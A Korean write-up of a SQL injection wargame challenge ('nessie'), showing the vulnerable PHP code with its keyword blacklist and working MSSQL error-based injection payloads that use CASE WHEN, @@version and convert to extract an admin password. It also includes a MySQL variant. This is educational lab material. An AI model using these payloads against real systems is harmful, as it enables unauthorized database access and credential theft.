문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select pw from prob_nessie where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("nessie"); 
  highlight_file(__FILE__);
?>

공격 백터

  • id
  • pw

공격 백터에 대한 검증

  • id : master, sys, information, prob, ;, waitfor, _
  • pw : master, sys, information, prob, ;, waitfor, _

코드 설명

$db = mssql_connect();

이번 문제는 MSsql로 제작된 듯 하다.

 

$query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

필터링에 통과된 공격 백터 id와 pw는 쿼리문에 들어가게 된다.
쿼리문은 id='공격 백터 id' and pw='공격 백터 pw'인 prob_nessie 테이블에 저장된 id을 반환하게 된다.

 

한 가지 특이한 점은 쿼리문에 Error가 발생하면, Error Message를 페이지에 출력한다.
나는 여기서 Error Based SQLi를 의심하였다.

 

$query = "select pw from prob_nessie where id='admin'"; 
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("nessie"); 

두 번째 쿼리문은 id가 admin인 pw를 반환한다.
공격 백터 pw와 쿼리문 반환값인 pw이 같으면 문제가 클리어된다.

 


문제 풀이

만약 Mysql이라면, SELECT id FROM prob_nessie WHERE id='' or if(substr(pw,1,1)='a',exp(710),0)#' and pw=''와 같은 Error Based SQLi으로 admin의 pw를 파싱할 것이다.

 

일단 위 쿼리문처럼 하기 위해선 MsSQL의 주석처리가 어떻게 이루어지는 지 알아야한다.

참고 사이트 : MSSQL Injection Cheat Sheet | pentestmonkey

 

MsSQL의 주석처리

  • -- : Comment Type 1
  • -- : Comment Type 2
  • -- - : SQL Commnet
  • /**/ : Inline Commnet
  • ;%00 : Null Byte

 

주석이 잘 작동하였다.
이젠 pw 파싱에 필요한 조건문과 Error 유발자, length 함수, substr 함수를 찾아봐야 한다.

MsSQL의 조건문

CASE WHEN 구문

CASE
    WHEN [조건절] THEN [TRUE일 경우 값]
    ELSE [FALSE일 경우 값]
END

IF ELSE 구문

IF [조건절 TRUE일 경우 값]
    [실행문]
ELSE [조건절 FALSE일 경우 값]
    [실행문]

파싱에 필요한 함수

LEN 함수

MySQL의 length 함수와 같은 함수로 사용법도 같음.

SUBSTRING 함수

MySQL의 substr 함수와 같은 함수로 사용법도 같음.

Error 유발자

@@version

SELECT @@version=1

참고 사이트 : MSSQL Error Based Injection

convert 함수

SELECT convert(int, 'test')

참고 사이트 : Turning Blind Error Based SQL Injection into Exploitable Boolean One | by Ozgur Alp | Medium

 

공격에 대한 쿼리문을 테스트하는 중 pw의 값이 Error 메세지를 통해 노출이 되었다….

 

서버에 보냈는데, 문제가 클리어 되었다…..

 

하지만 이왕 공부한 것을 응용하여 알아내도록 하겠다.

?id=admin' and 1=(CASE WHEN len(pw)=14 THEN 1 ELSE @@version END)-- -
?id=admin' and 1=(CASE WHEN len(pw)=15 THEN 1 ELSE @@version END)-- -

나는 이처럼 Error Based SQLi을 만들어서 admin의 pw 길이를 알아냈다.

 

?id=admin' and 1=(CASE WHEN substring(pw,1,1)='u' THEN 1 ELSE @@version END)-- -

pw 파싱은 파이썬으로 위와 같이 substring 함수를 이용하여 구하면 된다.


공부하는 와중 좋은 사이트를 발견하였다.
SQL Fiddle이라는 사이트인데, 다양한 DBMS를 웹에서 테스트할 수 있다.
나는 그 동안 이런 사이트를 몰라서 도커에 설치하여 테스트를 했는데, 이제 그럴 필요가 없다 ㅠㅠ

복사했습니다!